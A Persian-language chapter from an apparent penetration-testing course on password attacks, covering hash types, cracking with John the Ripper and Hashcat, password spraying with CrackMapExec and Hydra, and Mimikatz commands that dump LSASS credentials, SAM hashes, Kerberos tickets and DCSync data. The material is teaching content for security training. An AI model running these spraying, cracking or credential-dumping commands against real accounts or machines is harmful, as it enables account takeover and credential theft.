فصل ۷: حملات رمز عبور
ساختار هشهای رمز عبور (MD5، SHA1، bcrypt، NTLM، Kerberos)، انواع حملات دیکشنری، brute-force، rainbow table و hybrid، John the Ripper و Hashcat، password spraying و استخراج اعتبارنامه با Mimikatz.
هش رمز عبور چیست؟
رمز عبور هرگز بهصورت متن روشن (plaintext) ذخیره نمیشود. سامانههای امن از توابع یکطرفهای به نام هش (hash) استفاده میکنند که از رمز عبور، رشتهای با طول ثابت تولید میکنند. هش غیرقابل بازگشت است؛ یعنی از روی هش نمیتوان رمز اصلی را مستقیماً محاسبه کرد. مهاجم برای یافتن رمز، باید ورودیهای احتمالی را تولید، هش کند و با هش هدف مقایسه کند.
الگوریتمهای هش متفاوتی در صنعت استفاده میشوند. برخی مانند MD5 و SHA1 بهدلیل سرعت بالا و آسیبپذیری برخورد، برای رمز عبور منسوخ شدهاند. رمز عبور مدرن باید با الگوریتمهای کند و دارای salt مانند bcrypt، scrypt، Argon2 یا PBKDF2 ذخیره شود تا حملات brute-force سختتر شوند.
تفاوت هش با رمزنگاری
هش یکطرفه است و قابل بازگشت نیست. رمزنگاری (encryption) دوطرفه است و با کلید قابل بازگشت است. به همین دلیل رمز عبور هرگز نباید encrypt شود، بلکه باید hash شود. اگر سامانهای رمز عبور را encrypt میکند، یعنی کلید آن هم در جایی ذخیره شده و کلید لو میرود.
انواع هش رایج
| نوع هش | الگوریتم | طول خروجی | مثال کاربرد |
|---|---|---|---|
| MD5 | MD5 | ۱۲۸ بیت | /etc/passwd قدیمی، وبسایتهای قدیمی |
| SHA1 | SHA-1 | ۱۶۰ بیت | Git، گواهیهای قدیمی |
| SHA256 | SHA-2 | ۲۵۶ بیت | many apps, Bitcoin |
| bcrypt | Blowfish + salt | ۱۸۴ بیت | /etc/shadow مدرن، وباپها |
| NTLM | MD4 | ۱۲۸ بیت | احراز هویت ویندوز قدیمی |
| NTLMv2 | MD5 + challenge | متغیر | احراز هویت ویندوز مدرن |
| Kerberos | AES-256 / RC4 | متغیر | Active Directory |
| NetNTLMv2 | MD5 + challenge | متغیر | احراز هویت شبکه ویندوز |
انواع حملات رمز عبور
حمله دیکشنری (Dictionary Attack)
در این روش، یک فهرست طولانی از رمزهای عبور احتمالی (مانند rockyou.txt با ۱۴ میلیون رمز) به ترتیب امتحان میشود. این روش بهدلیل سرعت بالا و پوشش رمزهای پرکاربرد، نخستین انتخاب در حملات آفلاین است.
حمله Brute-Force
در این روش، تمام ترکیبهای ممکن با طول مشخص امتحان میشود. برای رمزهای کوتاه (۴ تا ۶ کاراکتر) یا هشهای ضعیف کارآمد است اما برای رمزهای طولانی با کاراکترهای پیچیده، زمان آن به میلیونها سال میرسد.
جدول رنگینکمان (Rainbow Table)
جدول رنگینکمان، یک فهرست پیشمحاسبهشده از هشهای احتمالی است که زمان حمله را بهشدت کاهش میدهد اما حجم بالایی دارد و در برابر salt بیاثر میشود.
حمله ترکیبی (Hybrid)
ترکیب دیکشنری با قواعد (rules) است؛ مثلاً افزودن 123 یا ! به انتهای هر کلمه. این روش رمزهای رایج تغییر یافته مانند Password123! را پوشش میدهد.
John the Ripper — استاندارد CPU
John the Ripper یا به اختصار John، یکی از قدیمیترین و قدرتمندترین ابزارهای کرک هش است که با CPU کار میکند و از دهها فرمت هش پشتیبانی میکند.
# کرک با دیکشنری پیشفرض
john hashes.txt
# کرک با دیکشنری rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# تعیین فرمت هش (NT)
john --format=NT hashes.txt
# نمایش رمزهای کرکشده
john --show hashes.txt
# حالت incremental (brute-force هوشمند)
john --incremental hashes.txt
# استفاده از قواعد (rules)
john --wordlist=rockyou.txt --rules=Wordlist hashes.txtفایل ورودی hashes.txt میتواند شامل هشهای خام یا فرمتهای استاندارد مانند user:hash باشد.
Hashcat — استاندارد GPU
Hashcat با استفاده از GPU میتواند سرعت کرک را تا هزاران بار نسبت به John افزایش دهد. این ابزار از مدهای مختلف (hash modes) و چندین نوع حمله پشتیبانی میکند.
# کرک NTLM با دیکشنری
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
# کرک MD5 با دیکشنری
hashcat -m 0 md5_hashes.txt /usr/share/wordlists/rockyou.txt
# حمله brute-force با ماسک (۶ رقم)
hashcat -m 0 md5_hashes.txt -a 3 ?d?d?d?d?d?d
# حمله ترکیبی (دو دیکشنری)
hashcat -m 1000 ntlm_hashes.txt -a 1 dict1.txt dict2.txt
# ادامه کار از session ذخیرهشده
hashcat --session mysession --restore
# نمایش رمزهای کرکشده
hashcat -m 1000 ntlm_hashes.txt --showپارامتر -m نوع هش را مشخص میکند (1000 برای NTLM، 0 برای MD5، 1800 برای sha512crypt) و -a نوع حمله را (0 دیکشنری، 3 ماسک، 1 ترکیبی).
ماسکهای Hashcat
ماسکهای Hashcat به شما امکان میدهند الگوهای رمز را تعریف کنید. ?l حرف کوچک، ?u حرف بزرگ، ?d رقم، ?s نماد و ?a همه کاراکترها است. بهعنوان مثال ?u?l?l?l?l?d?d?d الگویی مانند Alien123 را میسازد.
حملات آنلاین در برابر آفلاین
حملات آفلاین روی هشهای بهدستآمده (مثلاً از /etc/shadow یا SAM ویندوز) اجرا میشوند و هیچ محدودیتی جز توان محاسباتی ندارند. حملات آنلاین مستقیماً به سرویس (SSH، RDP، FTP) متصل میشوند و با عوامل محدودکنندهای مانند rate limit، account lockout و IDS روبرو هستند.
| ویژگی | حمله آفلاین | حمله آنلاین |
|---|---|---|
| ورودی | فایل هش | سرویس شبکه |
| سرعت | بسیار بالا (GPU) | کند (شبکه + rate limit) |
| ریسک شناسایی | صفر | بسیار بالا |
| محدودیت | توان محاسباتی | lockout، IDS، bandwidth |
Password Spraying
در password spraying، یک رمز رایج (مانند Winter2026!) روی صدها حساب کاربری امتحان میشود. این روش برای دور زدن سیاستهای account lockout طراحی شده است؛ چرا که هر حساب فقط یک بار امتحان میشود.
# با CrackMapExec روی SMB
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Winter2026!'
# با Hydra روی SSH
hydra -L users.txt -p 'Winter2026!' ssh://192.168.1.10خطر account lockout
بسیاری از سازمانها سیاست قفل شدن حساب را بعد از ۳ تا ۵ تلاش ناموفق تنظیم میکنند. Password spraying باید با دقت و با فاصله زمانی مناسب اجرا شود وگرنه باعث DoS روی همه حسابها میشود. همیشه قبل از اجرا، سیاست lockout را در فاز reconnaissance مشخص کنید.
استخراج اعتبارنامه با Mimikatz
پس از بهدست آوردن دسترسی مدیر روی ویندوز، میتوان اعتبارنامههای موجود در حافظه LSASS را استخراج کرد. Mimikatz قدرتمندترین ابزار برای این کار است.
# استخراج رمزهای عبور در حافظه
mimikatz # sekurlsa::logonpasswords
# استخراج هشهای SAM
mimikatz # lsadump::sam
# استخراج تیکتهای Kerberos
mimikatz # sekurlsa::tickets
# DCSync (نیازمند DCAdmin)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administratorعلاوه بر Mimikatz، ابزارهایی مانند Procdump، lsassy و nanodump نیز برای dump از LSASS استفاده میشوند. خروجی اغلب شامل هش NTLM یا حتی رمز متنی است.
تمرین عملی — کرک هشها
یک فایل حاوی چند هش از انواع مختلف را در یک ماشین مجازی ایجاد کنید:
# ایجاد فایل هش (MD5 از کلمه password)
echo -n "password" | md5sum
# خروجی: 5f4dcc3b5aa765d61d8327deb882cf99
# ایجاد هش NTLM
echo -n "password" | iconv -t UTF-16LE | md4sum
# کرک با John
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# کرک با Hashcat
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtخلاصه و گام بعدی
در این فصل با ساختار هش رمز عبور و انواع حملات دیکشنری، brute-force، rainbow table و hybrid آشنا شدید. John the Ripper برای کرک با CPU و Hashcat برای کرک با GPU استاندارد صنعت هستند. Password spraying برای دور زدن lockout و Mimikatz برای استخراج اعتبارنامه از حافظه LSASS ویندوز بهکار میروند.
در فصل بعد، با حملات شبکه بیسیم آشنا میشوید؛ جایی که با استفاده از مجموعه Aircrack-ng، دستدهی به WPA handshake و کرک رمز وایفای را در محیطی کاملاً کنترلشده تمرین میکنید.
این صفحه در تاریخ ۸ تیر ۱۴۰۵ بهروزرسانی شده است.